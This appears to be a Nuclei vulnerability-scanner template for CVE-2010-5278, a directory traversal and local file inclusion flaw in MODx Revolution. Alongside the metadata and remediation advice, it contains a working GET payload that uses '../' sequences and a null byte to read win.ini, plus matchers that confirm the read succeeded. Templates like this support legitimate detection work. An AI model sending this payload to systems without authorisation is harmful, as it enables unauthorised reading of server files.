id: CVE-2010-5278

info:
  name: MODx manager - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
  remediation: |
    Apply the latest patches and updates provided by MODx to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34788
    - https://nvd.nist.gov/vuln/detail/CVE-2010-5278
    - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt
    - http://modxcms.com/forums/index.php/topic,55104.0.html
    - http://modxcms.com/forums/index.php/topic,55105.msg317273.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-5278
    cwe-id: CWE-22
    epss-score: 0.18602
    epss-percentile: 0.95357
    cpe: cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: modx
    product: modx_revolution
    shodan-query: cpe:"cpe:2.3:a:modx:modx_revolution"
  tags: cve,cve2010,lfi,edb,packetstorm,modx,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e6b73b2743864d0d5f8367e078ee5ad400dc9c900b0650b36e17f2ca04d22155022100efeae1d835219d4c13f5c8022a65b714623eec808d6074d0745b3fbf8bcc4f2f:922c64590222798bb761d5b6d8e72950